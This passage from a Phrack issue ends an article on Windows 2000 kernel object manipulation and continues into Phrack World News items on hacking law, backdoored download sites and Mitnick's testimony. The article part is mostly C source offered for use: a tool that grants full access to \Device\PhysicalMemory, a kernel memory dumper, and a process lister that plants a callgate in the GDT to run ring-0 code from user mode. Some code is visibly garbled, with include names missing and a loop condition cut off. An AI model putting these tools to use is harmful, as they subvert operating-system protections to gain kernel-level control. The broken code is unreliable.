/*1D4*/ DWORD LdtInformation; /*1D8*/ PVOID VadFreeHint; /*1DC*/ DWORD VdmObjects; /*1E0*/ PVOID DeviceMap; /*1E4*/ DWORD SessionId; /*1E8*/ LIST_ENTRY PhysicalVadList; /*1F0*/ PVOID PageDirectoryPte; /*1F4*/ DWORD dw1F4; /*1F8*/ DWORD PaePageDirectoryPage; /*1FC*/ CHAR ImageFileName[16]; /*20C*/ DWORD VmTrimFaultValue; /*210*/ BYTE SetTimerResolution; /*211*/ BYTE PriorityClass; /*212*/ WORD SubSystemVersion; /*214*/ PVOID Win32Process; /*218*/ PVOID Job; /*21C*/ DWORD JobStatus; /*220*/ LIST_ENTRY JobLinks; /*228*/ PVOID LockedPagesList; /*22C*/ PVOID SecurityPort; /*230*/ PVOID Wow64; /*234*/ DWORD dw234; /*238*/ IO_COUNTERS IoCounters; /*268*/ DWORD CommitChargeLimit; /*26C*/ DWORD CommitChargePeak; /*270*/ LIST_ENTRY ThreadListHead; /*278*/ PVOID VadPhysicalPagesBitMap; /*27C*/ DWORD VadPhysicalPages; /*280*/ DWORD AweLock; /*284*/ } EPROCESS, *PEPROCESS; // copy ntdll.lib from Microsoft DDK to current directory #pragma comment(lib, "ntdll") #define IMP_SYSCALL __declspec(dllimport) NTSTATUS _stdcall IMP_SYSCALL NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Protect); IMP_SYSCALL NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress); IMP_SYSCALL NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); IMP_SYSCALL NtClose(HANDLE Handle); IMP_SYSCALL NtCreateSymbolicLinkObject(PHANDLE SymLinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); ----[ 5.2 chmod_mem.c #include #include #include #include "..\kmem.h" void usage(char *n) { printf("usage: %s (/current | /user) [who]\n", n); printf("/current: add all access to current user\n"); printf("/user : add all access to user 'who'\n"); exit(0); } int main(int argc, char **argv) { HANDLE Section; DWORD Res; NTSTATUS ntS; PACL OldDacl=NULL, NewDacl=NULL; PSECURITY_DESCRIPTOR SecDesc=NULL; EXPLICIT_ACCESS Access; OBJECT_ATTRIBUTES ObAttributes; INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory"); BOOL mode; if (argc < 2) usage(argv[0]); if (!strcmp(argv[1], "/current")) { mode = 1; } else if (!strcmp(argv[1], "/user") && argc == 3) { mode = 2; } else usage(argv[0]); memset(&Access, 0, sizeof(EXPLICIT_ACCESS)); InitializeObjectAttributes(&ObAttributes, &ObName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); // open handle de \Device\PhysicalMemory ntS = NtOpenSection(&Section, WRITE_DAC | READ_CONTROL, &ObAttributes); if (ntS != STATUS_SUCCESS) { printf("error: NtOpenSection (code: %x)\n", ntS); goto cleanup; } // retrieve a copy of the security descriptor Res = GetSecurityInfo(Section, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &OldDacl, NULL, &SecDesc); if (Res != ERROR_SUCCESS) { printf("error: GetSecurityInfo (code: %lu)\n", Res); goto cleanup; } Access.grfAccessPermissions = SECTION_ALL_ACCESS; // :P Access.grfAccessMode = GRANT_ACCESS; Access.grfInheritance = NO_INHERITANCE; Access.Trustee.MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE; // change these informations to grant access to a group or other user Access.Trustee.TrusteeForm = TRUSTEE_IS_NAME; Access.Trustee.TrusteeType = TRUSTEE_IS_USER; if (mode == 1) Access.Trustee.ptstrName = "CURRENT_USER"; else Access.Trustee.ptstrName = argv[2]; // create the new ACL Res = SetEntriesInAcl(1, &Access, OldDacl, &NewDacl); if (Res != ERROR_SUCCESS) { printf("error: SetEntriesInAcl (code: %lu)\n", Res); goto cleanup; } // update ACL Res = SetSecurityInfo(Section, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, NewDacl, NULL); if (Res != ERROR_SUCCESS) { printf("error: SetEntriesInAcl (code: %lu)\n", Res); goto cleanup; } printf("\\Device\\PhysicalMemory chmoded\n"); cleanup: if (Section) NtClose(Section); if (SecDesc) LocalFree(SecDesc); return(0); } ----[ 5.3 winkdump.c #include #include #include #include "..\kmem.h" ULONG Granularity; // thanx to kraken for the hexdump function void hexdump(unsigned char *data, unsigned int amount) { unsigned int dp, p; const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; for (dp = 1; dp <= amount; dp++) { printf ("%02x ", data[dp-1]); if ((dp % 8) == 0) printf (" "); if ((dp % 16) == 0) { printf ("| "); p = dp; for (dp -= 16; dp < p; dp++) printf ("%c", trans[data[dp]]); printf ("\n"); } } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { printf (" "); if (((dp % 8) == 0) && (p != 8)) printf (" "); } printf (" | "); for (dp = (amount - (16 - p)); dp < amount; dp++) printf ("%c", trans[data[dp]]); } printf ("\n"); return ; } PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) { PHYSICAL_ADDRESS add; if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000; else add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000; return(add); } int InitSection(PHANDLE Section) { NTSTATUS ntS; OBJECT_ATTRIBUTES ObAttributes; INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory"); InitializeObjectAttributes(&ObAttributes, &ObString, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); // open \Device\PhysicalMemory ntS = NtOpenSection(Section, SECTION_MAP_READ, &ObAttributes); if (ntS != STATUS_SUCCESS) { printf(" * error NtOpenSection (code: %x)\n", ntS); return(0); } return(1); } int main(int argc, char **argv) { NTSTATUS ntS; ULONG Address, Size, MappedSize, Offset; HANDLE Section; PVOID MappedAddress=NULL; SYSTEM_INFO SysInfo; PHYSICAL_ADDRESS pAddress; printf(" *** win2k memory dumper ***\n\n"); if (argc != 3) { printf("usage: %s

\n", argv[0]); return(0); } Address = strtoul(argv[1], NULL, 0); MappedSize = Size = strtoul(argv[2], NULL, 10); printf(" Virtual Address : 0x%.8x\n", Address); if (!Size) { printf("error: invalid size\n"); return(0); } // get allocation granularity information GetSystemInfo(&SysInfo); Granularity = SysInfo.dwAllocationGranularity; printf(" Allocation granularity: %lu bytes\n", Granularity); if (!InitSection(&Section)) return(0); Offset = Address % Granularity; MappedSize += Offset; // reajust mapping view printf(" Offset : 0x%x\n", Offset); pAddress = GetPhysicalAddress(Address - Offset); printf(" Physical Address : 0x%.16x\n", pAddress); ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L, MappedSize, &pAddress, &MappedSize, ViewShare, 0, PAGE_READONLY); printf(" Mapped size : %lu bytes\n", MappedSize); printf(" View size : %lu bytes\n\n", Size); if (ntS == STATUS_SUCCESS) { hexdump((char *)MappedAddress+Offset, Size); NtUnmapViewOfSection((HANDLE) -1, MappedAddress); } else { if (ntS == 0xC00000F4L) printf("error: invalid physical address translation\n"); else printf("error: NtMapViewOfSection (code: %x)\n", ntS); } NtClose(Section); return(0); } ----[ 5.2 winkps.c // code very messy but working :) #include #include #include "..\kmem.h" // get this address from win2k symbols #define PSADD 0x8046A180 // PsActiveProcessHead // default base address for ntoskrnl.exe on win2k #define BASEADD 0x7FFE0000 // MmGetPhysicalAddress // max process, to prevent easy crashing #define MAX_PROCESS 50 typedef struct _MY_CG { PHYSICAL_ADDRESS pAddress; PVOID MappedAddress; PCALLGATE_DESCRIPTOR Desc; WORD Segment; WORD LastEntry; } MY_CG, *PMY_CG; ULONG Granularity; PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY) PSADD; MY_CG GdtMap; MAPPING CurMap; PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress); void __declspec(naked) Ring0Func() { _asm { pushad pushf cli mov esi, CurMap.vAddress push esi call MmGetPhysicalAddress mov CurMap.pAddress, eax // save low part of LARGE_INTEGER mov [CurMap+4], edx // save high part of LARGE_INTEGER popf popad retf } } // function which call the callgate PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) { WORD farcall[3]; HANDLE Thread = GetCurrentThread(); farcall[2] = GdtMap.Segment; if(!VirtualLock((PVOID) Ring0Func, 0x30)) { printf("error: unable to lock function\n"); CurMap.pAddress.QuadPart = 1; } else { CurMap.vAddress = vAddress; // ugly way to pass argument CurMap.Offset = (DWORD) vAddress % Granularity; (DWORD) CurMap.vAddress -= CurMap.Offset; SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL); Sleep(0); _asm call fword ptr [farcall] SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL); VirtualUnlock((PVOID) Ring0Func, 0x30); } return(CurMap.pAddress); } PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) { PHYSICAL_ADDRESS add; if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) { add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000; } else { add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000; } return(add); } void UnmapMemory(PVOID MappedAddress) { NtUnmapViewOfSection((HANDLE) -1, MappedAddress); } int InstallCallgate(HANDLE Section, DWORD Function) { NTSTATUS ntS; KGDTENTRY gGdt; DWORD Size; PCALLGATE_DESCRIPTOR CgDesc; _asm sgdt gGdt; printf("virtual address of GDT : 0x%.8x\n", MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh)); GdtMap.pAddress = GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh)); printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart); Size = gGdt.LimitLow; ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress, 0L, Size, &GdtMap.pAddress, &Size, ViewShare, 0, PAGE_READWRITE); if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) { printf("error: NtMapViewOfSection (code: %x)\n", ntS); return(0); } GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry), GdtMap.Desc=NULL; (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress; CgDesc--) { //printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type); if(CgDesc->present == 0){ CgDesc->offset_0_15 = (WORD) (Function & 0xFFFF); CgDesc->selector = 8; CgDesc->param_count = 0; //1; CgDesc->some_bits = 0; CgDesc->type = 12; // 32-bits callgate junior :> CgDesc->app_system = 0; // A system segment CgDesc->dpl = 3; // Ring 3 code can call CgDesc->present = 1; CgDesc->offset_16_31 = (WORD) (Function >> 16); GdtMap.Desc = CgDesc; break; } } if (GdtMap.Desc == NULL) { printf("error: unable to find free entry for installing callgate\n"); printf(" not normal by the way .. your box is strange =]\n"); } GdtMap.Segment = ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3; printf("Allocated segment : %x\n", GdtMap.Segment); return(1); } int UninstallCallgate(HANDLE Section, DWORD Function) { PCALLGATE_DESCRIPTOR CgDesc; for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry); (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress; CgDesc--) { if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF)) && CgDesc->offset_16_31 == (WORD) (Function >> 16)){ memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR)); return(1); } } NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress); return(0); } void UnmapVirtualMemory(PVOID vAddress) { NtUnmapViewOfSection((HANDLE) -1, vAddress); } PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) { PHYSICAL_ADDRESS pAddress; NTSTATUS ntS; DWORD MappedSize; PVOID MappedAddress=NULL; //printf("* vAddress: 0x%.8x\n", vAddress); pAddress = NewGetPhysicalAddress((PVOID) vAddress); //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n", // CurMap.vAddress, CurMap.Offset); //printf("* pAddress: 0x%.16x\n", pAddress); // check for error (1= impossible value) if (pAddress.QuadPart != 1) { Size += CurMap.Offset; // adjust mapping view MappedSize = Size; ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L, Size, &pAddress, &MappedSize, ViewShare, 0, PAGE_READONLY); if (ntS != STATUS_SUCCESS || !MappedSize) { printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n", vAddress, ntS); return(NULL); } } else MappedAddress = NULL; printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n", MappedSize, MappedAddress, Size); return(MappedAddress); } void DisplayProcesses(HANDLE Section) { int i = 0; DWORD Padding; PEPROCESS CurProcess, NextProcess; PVOID vCurEntry, vOldEntry, NewMappedAddress; PLIST_ENTRY PsCur; // first we map PsActiveProcessHead to get first entry vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4); if (!vCurEntry) return; PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset); // most of EPROCESS struct are located around 0xfc[e-f]00000 // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping while (PsCur->Flink != PsActiveProcessHead && iFlink); //printf("==> Current process: %x\n", CurProcess); // we map 0x100000 bytes view so we store offset to EPROCESS Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF; // check if the next struct is already mapped in memory if ((DWORD) vCurEntry<= (DWORD) NextProcess && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){ // no need to remap // no remapping so we need to calculate the new address CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding); } else { CurProcess = NextProcess; // unmap old view and map a new one // calculate next base address to map vOldEntry = vCurEntry; vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000); //printf("link: %x, process: %x, to_map: %x, padding: %x\n", // PsCur->Flink, TO_EPROCESS(PsCur->Flink), // vCurEntry, Padding); // unmap old view UnmapVirtualMemory(vOldEntry); vOldEntry = vCurEntry; // map new view vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000); if (!vCurEntry) break; // adjust EPROCESS structure pointer CurProcess = (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding); // save mapped address NewMappedAddress = vCurEntry; // restore pointer from mapped addresses space 0x4**** to // the real virtual address 0xf******* vCurEntry = vOldEntry; } // reajust pointer to LIST_ENTRY struct PsCur = &CurProcess->ActiveProcessLinks; printf(" + %lu\t %s\n", CurProcess->UniqueProcessId, CurProcess->ImageFileName[0] ? CurProcess->ImageFileName : "[system]"); i++; } UnmapVirtualMemory(vCurEntry); } int main(int argc, char **argv) { SYSTEM_INFO SysInfo; OBJECT_ATTRIBUTES ObAttributes; NTSTATUS ntS; HANDLE Section; HMODULE hDll; INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory"); printf(" *** win2k process lister ***\n\n"); GetSystemInfo(&SysInfo); Granularity = SysInfo.dwAllocationGranularity; printf("Allocation granularity: %lu bytes\n", Granularity); InitializeObjectAttributes(&ObAttributes, &ObString, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); hDll = LoadLibrary("ntoskrnl.exe"); if (hDll) { MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD + (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress")); printf("MmGetPhysicalAddress : 0x%.8x\n", MmGetPhysicalAddress); FreeLibrary(hDll); } ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE, &ObAttributes); if (ntS != STATUS_SUCCESS) { if (ntS == STATUS_ACCESS_DENIED) printf("error: access denied to open \\Device\\PhysicalMemory for r/w\n"); else printf("error: NtOpenSection (code: %x)\n", ntS); goto cleanup; } if (!InstallCallgate(Section, (DWORD) Ring0Func)) goto cleanup; memset(&CurMap, 0, sizeof(MAPPING)); __try { DisplayProcesses(Section); } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) { printf("exception: trying to clean callgate...\n"); goto cleanup; } if (!UninstallCallgate(Section, (DWORD) Ring0Func)) goto cleanup; cleanup: if (Section) NtClose(Section); return(0); } ----[ 5.4 fun_with_ipd.c #include #include #include #include "..\kmem.h" int main() { NTSTATUS ntS; HANDLE SymLink, Section; OBJECT_ATTRIBUTES ObAttributes; INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory"); INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd"); InitializeObjectAttributes(&ObAttributes, &ObNewName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS, &ObAttributes, &ObName); if (ntS != STATUS_SUCCESS) { printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS); return(0); } ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes); if (ntS != STATUS_SUCCESS) printf("error: NtOpenSection (code: %x)\n", ntS); else { printf("\\Device\\PhysicalMemory opened !!!\n"); NtClose(Section); } // now you can do what you want getch(); NtClose(SymLink); return(0); } --[ 6 - Conclusion I hope this article helped you to understand the base of Windows kernel objects manipulation. As far as i know you can do as much things as you can with linux's /dev/kmem so there is no restriction except your imagination :). I also hope that this article will be readen by Linux dudes. Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally syn/ack oldschool people (wilmi power) =] --[ 7 - References [1] Sysinternals - www.sysinternals.com [2] Microsoft DDK - www.microsoft.com/DDK/ [3] unofficial ntifs.h - www.insidewindows.info [4] www.chapeaux-noirs.org/win/ [5] Intel IA-32 Software Developper manual - developer.intel.com [6] Pedestal Software - www.pedestalsoftware.com [7] BindView's RAZOR - razor.bindview.com [8] Open Systems Resources - www.osr.com [9] MSDN - msdn.microsoft.com books: * Undocumented Windows 2000 Secrets, A Programmer's Cookbook (http://www.orgon.com/w2k_internals/) * Inside Microsoft Windows 2000, Third Edition (http://www.microsoft.com/mspress/books/4354.asp) * Windows NT/2000 Native API Reference |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x11 of 0x12 |=----------------=[ P H R A C K W O R L D N E W S ]=------------------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ phrackstaff ]=---------------------------=| Content in Phrack World News does not reflect the opinion of any particluar Phrack Staff member. PWN is exclusively done by the scene and for the scene. 0x01: Life sentence for hackers 0x02: Newest IT Job Title: Chief Hacking Officer 0x03: Download Sites Hacked, Source Code Backdoored 0x04: Mitnick testimony burns Sprint in Vegas 'vice hack' case 0x05: Feds may require all email to be kept by ISP's 0x06: BT OpenWorld silent over infection / Customers still clueless 0x07: DeCCS is Free Speech - CSS reverse engineer Jon Johansen set free! 0x08: Gnutella developer Gene Kan, 25, commits suicide |=[ 0x01 - Life sentence for hackers ]=----------------------------------=| July 15, 2002 WASHINGTON - The House of Representatives on Monday overwhelmingly approved a bill that would allow for life prisin sentences for computer hackers. CNET writes that the bill has been approved by a 385-3 vote. The same bill expands police/agency ability to conduct Internet or telephone eavesdropping _without_ first obtainin a court order. The Cyber Security Enhancement Act (CSEA), the most wide-ranging computer crime bill to make its way through Congress in years, now heads to the Senate. It's not expected to encounter nay serious opposition. "A mouse can be just as dangerous as a bullet or a bomb." said Lamar Smith of R-Tex. Another section of CSEA would permit Internet providers to disclose the contents of e-mail messages and other electronic records (IRC, http, ..) to police. The Free Congress Foundation, which opposes CSEA, criticized Monday evening's vote. "Congress should stop chipping away at our civil liberties," sai Brad Jansen, an analyst at the conservative group. "A good place to start would be to substantially revise (CSEA) to increase, not diminish, oversight and accountability by the government.". http://news.com.com/2100-1001-944057.html?tag=fd_top http://www.msnbc.com/news/780923.asp?cp1=1 http://www.wired.com/news/politics/0,1283,50363,00.html http://thomas.loc.gov/cgi-bin/bdquery/z?d107:h.r.03482: http://lamarsmith.house.gov/ http://www.phrack.org/phrack/58/p58-0x0d http://www.freesk8.org [<---- check it out!] |=[ 0x02 - Newest IT Job Title: Chief Hacking Officer ]=-----------------=| By Jay Lyman NewsFactor Network Companies seeking to ensure they are as impervious as possible to the latest computer viruses and to the Internet's most talented hackers often find themselves in need of -- the Internet's most talented hackers. Some of these so-called "white-hat" hackers hold high positions in various enterprises, including security companies, but analysts told NewsFactor that they rarely carry the actual title "chief hacking officer" because companies tend to be a bit skittish about the connotation. Still, some security pros -- such as Aliso Viejo, California-based Eeye Security's Marc Maiffret -- do carry the "CHO" title, and few argue the point that in order to protect themselves from the best hackers and crackers, companies need to hire them. Hidden Hiring SecurityFocus senior threat analyst Ryan Russell told NewsFactor that while only a handful of companies actually refer to their in-house hacker as "chief hacking officer," many companies are hiring hackers and giving them titles that are slightly less indicative of their less socially acceptable skills. "A large number of people who used to do that sort of thing end up working in security," Russell said. "There are some companies out there specifically saying, 'We do not hire hackers, we are against that,' but really they are [hiring them]." Russell said that while there is definitely an increased emphasis on security since last year's disastrous terrorist attacks, deflation of the dot-com bubble has resulted in consolidation among security personnel and a reduction in the number of titles that are obviously associated with hacking. Born To Hack Russell noted that hackers legitimately working in IT are usually involved in penetration testing. While companies are uncomfortable hiring IT security personnel with prior criminal records, there are advantages to hiring an experienced hacker, even if the individual has used an Internet "handle" associated with so-called "black-hat" hackers. Still, Russell said, "I think in very few cases do people with the reputation of a hacker or black-hat [get hired]." One such person who was hired is Cambridge, Massachusetts-based security company @Stake's chief scientist, Peiter "Mudge" Zatko -- well-known hacker and security expert who has briefed government officials, addressed industry forums and authored an NT password auditing tool. Regular Workers Regardless of whether they wear a white hat or a black one, Russel said it takes more than good hacking skills to land a legitimate job. "You want someone who does [penetrations] for a living," Russell said of penetration testers. "You want them to be good at giving you the information you need." Russell added that while some hackers hold chief technical officer or equivalent positions, the rule of fewer managers and more employees means there are probably more hackers working in regular jobs than in management. Checking References Forrester (Nasdaq: FORR) analyst Laura Koetzle told NewsFactor that companies will not hire anyone convicted of a computer crime, but they will seek out hackers, particularly for penetration testing. "They won't have a title of chief hacking officer, and they haven't necessarily broken any laws, but they're still skilled at this stuff," she said. Koetzle said many companies avoid the issue of checking the backgrounds of former hackers by using services firms, such as PricewaterhouseCoopers or Deloitte & Touche, to hire such personnel. Extortion and Employment But hiring hackers can backfire. Russell said cases of extortion range from blatant attempts at blackmail -- demanding money to prevent disclosure of customer data or security vulnerabilities -- to more subtle efforts, wherein hackers find holes, offer a fix and add a request for a job. According to Koetzle, despite the desire to keep security breaches quiet, companies must resist attempts on the part of potential hacker-hires to extort money or work in computer security. "I would strongly caution against dealing with that type of hacker," Koetzle said. "It absolutely does happen, but it's absolutely the wrong thing to do." Right or wrong, however, it seems that the person best equipped to ferret out a hacker is another hacker. So, as unsavory as it may seem, the better the hacker, the more likely he or she is to join the square world as chief hacking officer. |=[ 0x03 - Download Sites Hacked, Source Code Backdoored ]=--------------=| By Brian McWilliams SecurityFocus When source code to a relatively obscure, Unix-based Internet Relay Chat (IRC) client was reported to be "backdoored", security professionals collectively yawned. But last week, when three popular network security programs were reported to be similarly compromised, security experts sat up and took notice. Now, it appears that the two hacking incidents may have been related. According to programmer Dug Song, the source code to Dsniff, Fragroute, and Fragrouter security tools was contaminated on May 17th after an attacker gained unauthorized access to his site, Monkey.org. In an interview today, Song said affected users are being contacted, but he declined to provide details of the compromise, citing an ongoing investigation. When installed on a Unix-based machine, the modified programs open a backdoor accessible to a remove server hosted by RCN Corporationm according to an experpt of the contaminated Fragroute program posted Friday to Bugtraq by Ansers Nordby of the Norwegian Unix User Group. In another posting to the Bugtraq mailing list last Friday, Song reported that nearly 2,000 copies of the booby-trapped security programs were downloaded by unsuspecting Internet users before the malicious code was discovered. Only 800 of the downloads were from Unix-based machines, according to Song. Song's subsequent Bugtraq message said that intruders planted the contaminated code at Monkey.org after successfully penetrating a machine operated by one of the site's administrators. The attackers exploited "client-side hole that produced a shell to one of the local admin's accounts," wrote Song in his message. The exploit code planted at Monkey.org was nearly identical to a backdoor program that was recently slipped by attackers into the source code of the Irssi IRC chat client for Unix. It's is currently unclear why the attacker used a backdoor that could easily be detected. According to the notice posted May 25th at Irssi.org, someone "cracked" the distribution site for the IRC program in mid-March and altered a configuration script to include the back door. New Precautions Implemented Installing the compromised Irssi program provided a remove server hosted by FastQ Communications with full shell access to the target machine, said the notice. Irssi's developer, Timo Sirainen, was not immediately available for comment. Today, the Web server at the Internet protocol address listed in the backdoored Irssi code returned the message: "All your base are belong to us." Meanwhile, Unknown.nu, the collocated server listed in the backdoored Monkey.org code, today displayed the home of the Niuean Pop Cultural Archive. When contacted by SecurityFocus Online, the site's administrator, Kim Scarborough, said he was unaware that the machine had been used by the Monkey.org remote exploit. Scarborough reported that he completely reinstalled the server's system software, including the FreeBSD operating system, on May 30th after discovering evidence that someone had hacked into it. According to Scarborough, he had first installed the Irssi chat client on the machine around May 17th at the request of a user. The two security incidents have forced authors of the affected programs to implement new measures to insure the authenticity of their downloadable code. According to a page at Irssi describing the backdoor, new releases will be signed with the GPG encryption tool, and the author will periodically review the program for changes. Song said that Monkey.org has implemented technology to restrict user sessions, and that he is considering adding digital signatures to software distributed at the site. |=[ 0x04 - Mitnick testimony burns Sprint in Vegas 'vice hack' case ]=---=| By Kevin Poulsen SecurityFocus Since adult entertainment operator Eddie Munoz first told state regulators in 1994 that mercenary hackers were crippling his business by diverting, monitoring and blocking his phone calls, officials at local telephone company Sprint of Nevada have maintained that, as far as they know, their systems have never suffered a single intrusion. The Sprint subsidiary lost that innocence Monday when convicted hacker Kevin Mitnick shook up a hearing on the call-tampering allegations by detailing years of his own illicit control of the company's Las Vegas switching systems, and the workings of a computerized testing system that he says allows silent monitoring of any phone line served by the incumbent telco. "I had access to most, if not all, of the switches in Las Vegas," testified Mitnick, at a hearing of Nevada's Public Utilities Commission (PUC). "I had the same privileges as a Northern Telecom technician." Mitnick's testimony played out like a surreal Lewis Carroll version of a hacker trial -- with Mitnick calmly and methodically explaining under oath how he illegally cracked Sprint of Nevada's network, while the attorney for the victim company attacked his testimony, effectively accusing the ex-hacker of being innocent. The plaintiff in the case, Munoz, 43, is accusing Sprint of negligence in allegedly allowing hackers to control their network to the benefit of a few crooked businesses. Munoz is the publisher of an adult advertising paper that sells the services of a bevy of in-room entertainers, whose phone numbers are supposed to ring to Munoz's switchboard. Instead, callers frequently get false busy signals, or reach silence, Munoz claims. Occasionally calls appear to be rerouted directly to a competitor. Munoz's complaints have been echoed by other outcall service operators, bail bondsmen and private investigators -- some of whom appeared at two days of hearings in March to testify for Munoz against Sprint. Munoz hired Mitnick as a technical consultant in his case last year, after SecurityFocus Online reported that the ex-hacker -- a onetime Las Vegas resident -- claimed he had substantial access to Sprint's network up until his 1995 arrest. After running some preliminary tests, Mitnick withdrew from the case when Munoz fell behind in paying his consulting fees. On the last day of the March hearings, commissioner Adriana Escobar Chanos adjourned the matter to allow Munoz time to persuade Mitnick to testify, a feat Munoz pulled-off just in time for Monday's hearing. Mitnick admitted that his testing produced no evidence that Munoz is experiencing call diversion or blocking. But his testimony casts doubt on Sprint's contention that such tampering is unlikely, or impossible. With the five year statute of limitations long expired, Mitnick appeared comfortable describing with great specificity how he first gained access to Sprint's systems while living in Las Vegas in late 1992 or early 1993, and then maintained that access while a fugitive. Mitnick testified that he could connect to the control consoles -- quaintly called "visual display units" -- on each of Vegas' DMS-100 switching systems through dial-up modems intended to allow the switches to be serviced remotely by the company that makes them, Ontario-based Northern Telecom, renamed in 1999 to Nortel Networks. Each switch had a secret phone number, and a default username and password, he said. He obtained the phone numbers and passwords from Sprint employees by posing as a Nortel technician, and used the same ploy every time he needed to use the dial-ups, which were inaccessible by default. With access to the switches, Mitnick could establish, change, redirect or disconnect phone lines at will, he said. That's a far cry from the unassailable system portrayed at the March hearings, when former company security investigator Larry Hill -- who retired from Sprint in 2000 -- testified "to my knowledge there's no way that a computer hacker could get into our systems." Similarly, a May 2001 filing by Scott Collins of Sprint's regulatory affairs department said that to the company's knowledge Sprint's network had "never been penetrated or compromised by so-called computer hackers." Under cross examination Monday by PUC staff attorney Louise Uttinger, Collins admitted that Sprint maintains dial-up modems to allow Nortel remote access to their switches, but insisted that Sprint had improved security on those lines since 1995, even without knowing they'd been compromised before. But Mitnick had more than just switches up his sleeve Monday. The ex-hacker also discussed a testing system called CALRS (pronounced "callers"), the Centralized Automated Loop Reporting System. Mitnick first described CALRS to SecurityFocus Online last year as a system that allows Las Vegas phone company workers to run tests on customer lines from a central location. It consists of a handful of client computers, and remote servers attached to each of Sprint's DMS-100 switches. Mitnick testified Monday that the remote servers were accessible through 300 baud dial-up modems, guarded by a technique only slightly more secure than simple password protection: the server required the client -- normally a computer program -- to give the proper response to any of 100 randomly chosen challenges. The ex-hacker said he was able to learn the Las Vegas dial-up numbers by conning Sprint workers, and he obtained the "seed list" of challenges and responses by using his social engineering skills on Nortel, which manufactures and sells the system. The system allows users to silently monitor phone lines, or originate calls on other people's lines, Mitnick said. Mitnick's claims seemed to inspire skepticism in the PUC's technical advisor, who asked the ex-hacker, shortly before the hearing was to break for lunch, if he could prove that he had cracked Sprint's network. 